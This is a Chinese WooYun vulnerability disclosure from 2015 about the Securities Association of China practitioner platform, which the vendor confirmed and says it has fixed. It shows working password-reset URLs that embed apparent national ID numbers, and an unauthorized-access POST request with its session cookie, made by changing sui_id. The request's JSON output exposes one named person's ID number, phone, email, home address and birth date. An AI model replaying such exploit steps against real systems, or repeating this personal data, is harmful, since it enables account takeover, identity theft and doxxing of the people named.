当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0132072

漏洞标题:中国证券业协会从业人员管理平台设计缺陷可重置密码+未授权访问人员敏感信息

相关厂商:中国证券业协会

漏洞作者: prolog

提交时间:2015-08-06 17:52

修复时间:2015-09-24 08:34

公开时间:2015-09-24 08:34

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-06: 细节已通知厂商并且等待厂商处理中
2015-08-10: 厂商已经确认,细节仅向厂商公开
2015-08-20: 细节向核心白帽子及相关领域专家公开
2015-08-30: 细节向普通白帽子公开
2015-09-09: 细节向实习白帽子公开
2015-09-24: 细节向公众公开

简要描述:

中国证券业协会从业人员管理平台设计缺陷可直接重置密码+未授权访问人员敏感信息

详细说明:

百度直接查到重置密码链接,点击确定就重置为000000
http://person.sac.net.cn/pages/retrievePassword/passwordreset.html?String=01&println=C20347&emi_paper_no2=31010919870930352X&template=10061154048
http://person.sac.net.cn/pages/retrievePassword/passwordreset.html?String=01&println=C08075&emi_paper_no2=339005198201081840&template=39908079
重置,登录

asgahw4.PNG


agawgwe.PNG


查询用户信息接口,按下面的参数,修改sui_id就可以查看其他用户信息
POST /pages/personal/personal!search.action HTTP/1.1
Host: person.sac.net.cn
Connection: keep-alive
Content-Length: 95
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://person.sac.net.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://person.sac.net.cn/pages/personal/personal-add.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: BIGipServerperson=1917888704.20480.0000; JSESSIONID=5QKZVC8FqlvVCqMGF9q2snSpvH26J54znd2Hbn1tJMMtmThCnLXh!1565322051
filter_EQS_a#sui_id=39908045&filter_EQS_pa#pra_id=&sqlkey=personal&sqlval=SEARCH_RP_PERSON_INFO
[{"RPI_IS_EJOY":"否","LOGINNAME":"C08045","AOI_ID":null,"MSC_NAME":"未婚","PSC_NAME":null,"EMI_NAME":"叶庆德","ECO_NAME":"本科","NC_NAME":"汉族 ","ADI_NAME":null,"TCOD_NAME":"无","RPI_PC_NAME":"理财经理","REGIONTC_NAME":null,"SCO_NAME":"男","NAC_NAME":"中国","AOI_NAME":null,"BTI_NAME":"证券经纪","CTCE_NAME":"身份证","SUI_NAME":"叶庆德","RPI_PHOTO_PATH":"20080102/registrationRpInfo/136386205775050119.jpg","RPI_OLD_NAME":null,"RPI_BIRTH_DATE":"1983-08-26","RPI_PASSPORT_ADDRESS":null,"RPI_PASSPORT_DATE":null,"RPI_WORKING_YEARS":"2","RPI_PHONE":"13738108255","RPI_EMAIL":"yeqingde7988@163.com","RPI_HIRING_DATE":"2010-06-10","RPI_OFFICE_PHONE":"0571-87983060","RPI_GET_TITLES_DATE":null,"RPI_DELEGATE_START_DATE":"2010-06-10","RPI_DELEGATE_END_DATE":"1900-01-01","RPI_PRACTICE_GEOGRAPHICAL":null,"RPI_SERVICE_DEPARTMENT":null,"RPI_BIRTH_ADDRESS":"浙江省温州市文成县","RPI_HOME_ADDRESS":"浙江省杭州市江干区红五月社区5号1单元405室","RPI_HOME_POSTCODE":"310000","RPI_OFFICE_ADDRESS":"浙江省杭州市西湖县杭州文三路535号莱茵达大厦1201","RPI_OFFICE_POSTCODE":"310000","RPI_HOME_PHONE":"0571-85215111","RPI_NAME":"叶庆德","RPI_PAPER_NO":"330328198308265335","RPI_FAX":null,"CTCE_ID":"01","RPI_IF_AQ":"00","MSC_ID":"02","PSC_ID":null,"EMI_ID":"39908045","ECO_ID":"04","NC_ID":"0","ADI_ID":null,"TCOD_ID":"04","REGIONTC_ID":"6","SCO_ID":"01","NAC_ID":"01","BTI_ID":"1","SUI_ID":"39908045","RPI_BIRTH_PROVINCE":"浙江","RPI_BIRTH_PROVINCE_TYPE":"01","RPI_BIRTH_CITY":"温州","RPI_BIRTH_CITY_TYPE":"01","RPI_BIRTH_COUNTY":"文成","RPI_BIRTH_COUNTY_TYPE":"01","RPI_BIRTH":null,"RPI_HOME_PROVINCE":"浙江","RPI_HOME_PROVINCE_TYPE":"01","RPI_HOME_CITY":"杭州","RPI_HOME_CITY_TYPE":"01","RPI_HOME_COUNTY":"江干","RPI_HOME_COUNTY_TYPE":"03","RPI_HOME":"红五月社区5号1单元405室","RPI_OFFICE_PROVINCE":"浙江","RPI_OFFICE_PROVINCE_TYPE":"01","RPI_OFFICE_CITY":"杭州","RPI_OFFICE_CITY_TYPE":"01","RPI_OFFICE_COUNTY":"西湖","RPI_OFFICE_COUNTY_TYPE":"01","RPI_OFFICE":"杭州文三路535号莱茵达大厦1201","RPI_ID":"39908045","PRA_ID":"-170827","CTI_ID":"1","PRA_ATTACHMENT":null,"RPI_EMP_NO":null},{"RPI_IS_EJOY":"否","LOGINNAME":"C08045","AOI_ID":null,"MSC_NAME":"未婚","PSC_NAME":null,"EMI_NAME":"叶庆德","ECO_NAME":"本科","NC_NAME":"汉族 ","ADI_NAME":null,"TCOD_NAME":"无","RPI_PC_NAME":"理财经理","REGIONTC_NAME":null,"SCO_NAME":"男","NAC_NAME":"中国","AOI_NAME":null,"BTI_NAME":"证券经纪","CTCE_NAME":"身份证","SUI_NAME":"叶庆德","RPI_PHOTO_PATH":"20080102/registrationRpInfo/136386205775050119.jpg","RPI_OLD_NAME":null,"RPI_BIRTH_DATE":"1983-08-26","RPI_PASSPORT_ADDRESS":null,"RPI_PASSPORT_DATE":null,"RPI_WORKING_YEARS":"2","RPI_PHONE":"13738108255","RPI_EMAIL":"yeqingde7988@163.com","RPI_HIRING_DATE":"2010-06-10","RPI_OFFICE_PHONE":"0571-87983060","RPI_GET_TITLES_DATE":null,"RPI_DELEGATE_START_DATE":"2010-06-10","RPI_DELEGATE_END_DATE":"1900-01-01","RPI_PRACTICE_GEOGRAPHICAL":null,"RPI_SERVICE_DEPARTMENT":null,"RPI_BIRTH_ADDRESS":"浙江省温州市文成县","RPI_HOME_ADDRESS":"浙江省杭州市江干区红五月社区5号1单元405室","RPI_HOME_POSTCODE":"310000","RPI_OFFICE_ADDRESS":"浙江省杭州市西湖县杭州文三路535号莱茵达大厦1201","RPI_OFFICE_POSTCODE":"310000","RPI_HOME_PHONE":"0571-85215111","RPI_NAME":"叶庆德","RPI_PAPER_NO":"330328198308265335","RPI_FAX":null,"CTCE_ID":"01","RPI_IF_AQ":"00","MSC_ID":"02","PSC_ID":null,"EMI_ID":"39908045","ECO_ID":"04","NC_ID":"0","ADI_ID":null,"TCOD_ID":"04","REGIONTC_ID":"6","SCO_ID":"01","NAC_ID":"01","BTI_ID":"1","SUI_ID":"39908045","RPI_BIRTH_PROVINCE":"浙江","RPI_BIRTH_PROVINCE_TYPE":"01","RPI_BIRTH_CITY":"温州","RPI_BIRTH_CITY_TYPE":"01","RPI_BIRTH_COUNTY":"文成","RPI_BIRTH_COUNTY_TYPE":"01","RPI_BIRTH":null,"RPI_HOME_PROVINCE":"浙江","RPI_HOME_PROVINCE_TYPE":"01","RPI_HOME_CITY":"杭州","RPI_HOME_CITY_TYPE":"01","RPI_HOME_COUNTY":"江干","RPI_HOME_COUNTY_TYPE":"03","RPI_HOME":"红五月社区5号1单元405室","RPI_OFFICE_PROVINCE":"浙江","RPI_OFFICE_PROVINCE_TYPE":"01","RPI_OFFICE_CITY":"杭州","RPI_OFFICE_CITY_TYPE":"01","RPI_OFFICE_COUNTY":"西湖","RPI_OFFICE_COUNTY_TYPE":"01","RPI_OFFICE":"杭州文三路535号莱茵达大厦1201","RPI_ID":"39908045","PRA_ID":"8888839908045","CTI_ID":"1","PRA_ATTACHMENT":null,"RPI_EMP_NO":null}]

漏洞证明:

.

修复方案:

。。

版权声明:转载请注明来源 prolog@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-08-10 08:32

厂商回复:

确认是漏洞,目前已经修改了程序,增加了越权访问限制,谢谢。

最新状态:

暂无